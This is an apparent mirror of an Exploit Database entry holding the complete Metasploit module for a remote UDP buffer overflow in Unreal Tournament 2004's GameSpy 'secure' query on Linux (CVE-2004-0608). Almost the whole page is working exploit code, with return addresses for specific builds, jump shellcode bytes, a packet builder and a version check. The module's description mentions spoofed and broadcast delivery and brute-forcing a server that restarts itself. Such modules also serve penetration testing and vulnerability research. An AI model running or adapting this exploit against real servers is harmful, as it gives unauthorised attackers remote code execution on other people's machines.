Unreal Tournament 2004 (Linux) – ‘secure’ Remote Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16848/

• ##
  # $Id: ut2004_secure.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Unreal Tournament 2004 "secure" Overflow (Linux)',
  			'Description'=> %q{
  					This is an exploit for the GameSpy secure query in
  				the Unreal Engine.
  
  				This exploit only requires one UDP packet, which can
  				be both spoofed and sent to a broadcast address.
  				Usually, the GameSpy query server listens on port 7787,
  				but you can manually specify the port as well.
  
  				The RunServer.sh script will automatically restart the
  				server upon a crash, giving us the ability to
  				bruteforce the service and exploit it multiple
  				times.
  			},
  			'Author' => [ 'onetwo' ],
  			'License'=> BSD_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					[ 'CVE', '2004-0608'],
  					[ 'OSVDB', '7217'],
  					[ 'BID', '10570'],
  
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 512,
  					'BadChars' => "\x5c\x00",
  
  				},
  			'Platform' => 'linux',
  			'Targets'=>
  				[
  					['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer
  					['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],
  				],
  			'DisclosureDate' => 'Jun 18 2004'))
  
  		register_options(
  			[
  				Opt::RPORT(7787)
  			], self.class)
  	end
  
  	def exploit
  		connect_udp
  
  		buf = make_nops(1024)
  		buf[24, 4] = [target['Rets'][1]].pack('V')
  		buf[44, 4] = [target['Rets'][0]].pack('V')
  		buf[56, 4] = [target['Rets'][1]].pack('V')
  		buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP
  
  		buf[0,8] = "\\secure\\"
  		buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded
  
  		udp_sock.put(buf)
  
  		handler
  		disconnect_udp
  	end
  
  	def ut_version
  		connect_udp
  		udp_sock.put("\\basic\\")
  		res = udp_sock.recvfrom(8192)
  		disconnect_udp
  
  		if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
  			return m[1]
  		end
  
  		return
  	end
  
  	def check
  		vers = ut_version
  
  		if (not vers)
  			print_status("Could not detect Unreal Tournament Server")
  			return
  		end
  
  		print_status("Detected Unreal Tournament Server Version: #{vers}")
  		if (vers =~ /^(3120|3186|3204)$/)
  			print_status("This system appears to be exploitable")
  			return Exploit::CheckCode::Appears
  		end
  
  
  		if (vers =~ /^(2...)$/)
  			print_status("This system appears to be running UT2003")
  			return Exploit::CheckCode::Detected
  		end
  
  		print_status("This system appears to be patched")
  		return Exploit::CheckCode::Safe
  	end
  
  end